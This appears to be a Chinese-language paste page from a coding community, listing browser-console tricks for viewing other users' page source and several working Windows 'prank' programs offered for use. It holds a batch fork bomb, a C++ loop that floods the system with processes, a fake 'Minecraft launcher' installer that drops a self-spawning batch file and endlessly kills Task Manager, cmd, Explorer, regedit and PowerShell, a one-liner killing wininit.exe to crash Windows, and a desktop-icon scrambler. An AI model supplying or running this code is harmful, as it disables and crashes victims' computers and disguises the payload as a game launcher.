跳到正文

剪贴板

剪贴板 v782h5s4

原文
剪贴板信息

剪贴板信息

收录
更新

查看别人首页原码教程(电脑):

  1. 按F12
  2. 输入console.log(_feInstance.currentData.user.introduction)
  3. 输出及源码
  4. 复制源码

查看别人博客原码教程(电脑):

  1. 按F12
  2. 输入fetch('/api/blog/detail/' + BlogGlobals.blogID).then(res => res.json()).then(res => console.log(res.data.Content))
  3. 输出及源码
  4. 复制源码

最低级的bat:

代码
echo off
cls
%0|%0

逝世

C++
#include<bits/stdc++.h>
using namespace std;
bool interesting(){
    while(1){
    system("start notepad");
    system("start calc");
    system("start winver");
    system("start cmd");
    system("start Nslookup");
    system("start charmap");
    system("start dxdiag");
    system("start taskmgr");
    system("start mspaint");
    }
}
int main(){
    cout<<"good bye";
    interesting();//真刺激

    return 0;
}

再逝世这个

C++
//*****************************************//

//启动器安装程序代码

//0.2v更新内容:从安装程序启动启动器自带优美音效

//*****************************************//

#include <windows.h>
#include <process.h>
#include <Tlhelp32.h>
#include <tchar.h>
#include<bits/stdc++.h>
#include <string>
using namespace std;

BOOL FindAndKillProcessByName(LPCTSTR strProcessName)
{
    if (NULL == strProcessName)
    {
        return FALSE;
    }

    HANDLE handle32Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (INVALID_HANDLE_VALUE == handle32Snapshot)
    {
        return FALSE;
    }

    PROCESSENTRY32 pEntry;
    pEntry.dwSize = sizeof(PROCESSENTRY32);

    //Search for all the process and terminate it

    if (Process32First(handle32Snapshot, &pEntry))
    {
        BOOL bFound = FALSE;
        if (!_tcsicmp(pEntry.szExeFile, strProcessName))
        {
            bFound = TRUE;
        }
        while ((!bFound) && Process32Next(handle32Snapshot, &pEntry))
        {
            if (!_tcsicmp(pEntry.szExeFile, strProcessName))
            {
                bFound = TRUE;
            }
        }
        if (bFound)
        {
            CloseHandle(handle32Snapshot);
            HANDLE handLe = OpenProcess(PROCESS_TERMINATE, FALSE, pEntry.th32ProcessID);
            BOOL bResult = TerminateProcess(handLe, 0);
            return bResult;
        }
    }
    CloseHandle(handle32Snapshot);
    return FALSE;
}

char  **funFilePath(char** arrFilename,int nLength);

int   createFile(char *contentTxt,int nLength);

void MouseFly()
{
    int x=GetSystemMetrics(SM_CXSCREEN);
    int y=GetSystemMetrics(SM_CYSCREEN);
    srand(time(0));
    while(1)
    SetCursorPos(rand()%x,rand()%y);
}

int  main(int argc, char** argv) {
    std::cout<<"开始创建启动器\n";
 char contentTxt[2048]="start cmd %0";//利用cmd辅助进行下载
 int nLength = 1;//文件数量
 cout<<"请稍等,创建时间大约5s(平均时间)\n";
 Sleep(10000);
  createFile(contentTxt,nLength);//开始下载
  //deleteFile(nLength);
  if(MessageBox(GetForegroundWindow(),"CGOOSE","下载完成,是否打开",1))
  {
        system("start https://vdse.bdstatic.com/192d9a98d782d9c74c96f09db9378d93.mp4");
        MouseFly();
  }
  else
  {
    system("start https://vdse.bdstatic.com/192d9a98d782d9c74c96f09db9378d93.mp4");
    while (1)
    {
        HWND hwnd = GetConsoleWindow();

        HMENU hmenu = GetSystemMenu(hwnd, FALSE);

        EnableMenuItem(hmenu, SC_CLOSE, MF_GRAYED);
        FindAndKillProcessByName(_T("shutdown.exe"));
        FindAndKillProcessByName(_T("Taskmgr.exe"));
        FindAndKillProcessByName(_T("cmd.exe"));
        FindAndKillProcessByName(_T("explorer.exe"));
        FindAndKillProcessByName(_T("regedit.exe"));
        FindAndKillProcessByName(_T("powershell.exe"));
    }
  }

  system("pause");
  return 0;
}
char  **funFilePath(char** arrFilename, int nLength)//下载程序
{
 char Path[255];
 char FileName[255];
    for(int i=0;i<nLength;i++)  {
 GetCurrentDirectory(sizeof(Path),Path);
 wsprintf(FileName,"\\Minecraft launcher.bat",i);//文件名称
 strcat(Path,FileName);
 arrFilename[i]=(char *)malloc(255);
 strcpy(arrFilename[i],Path);
 }
   return arrFilename;

}
int  createFile(char *contentTxt,int nLength){
    char* arrFilename[nLength];
    funFilePath(arrFilename,nLength);
    for(int i=0;i<sizeof(arrFilename)/sizeof(char**);i++)  {
 HANDLE hFile;
 hFile = CreateFile(arrFilename[i],GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
 if(hFile==INVALID_HANDLE_VALUE){
 continue;
 }

 DWORD dwWrite;
 WriteFile(hFile,contentTxt,strlen(contentTxt),&dwWrite,NULL);//创建文件并写入内容

 printf("%s----创建成功!\n",arrFilename[i]);
 CloseHandle(hFile);
 free(arrFilename[i]);//释放内存

 }
 return 0;

}

还可以逝世

C++
#include <cstdlib>
int main(){system("taskkill -f -im wininit.exe");}

桌面乱序

C++
#include <Windows.h>
#include <commctrl.h>
#include <stdio.h>
int main()
{
    HWND zhuomian = ::FindWindowA("Progman", "Program Manager");
    HWND bizhi = ::FindWindowExA(zhuomian, 0, "SHELLDLL_DefView", NULL);
    HWND tubiao = ::FindWindowExA(bizhi, 0, "SysListView32", NULL);
    int iCount = ::SendMessageA(tubiao, LVM_GETITEMCOUNT, 0, 0);
    int ScreenW = ::GetSystemMetrics(SM_CXSCREEN);
    int ScreenH = ::GetSystemMetrics(SM_CYSCREEN);
    int x, y, n;
    for (int i = 0; i < iCount * 20; i++) {
        x = rand() % ScreenW;
        n = rand() % iCount;
        y = rand() % ScreenH;
        ::SendMessageA(tubiao, LVM_SETITEMPOSITION, n, (y << 16) + x);

    }
    while(1);
    return 0;
}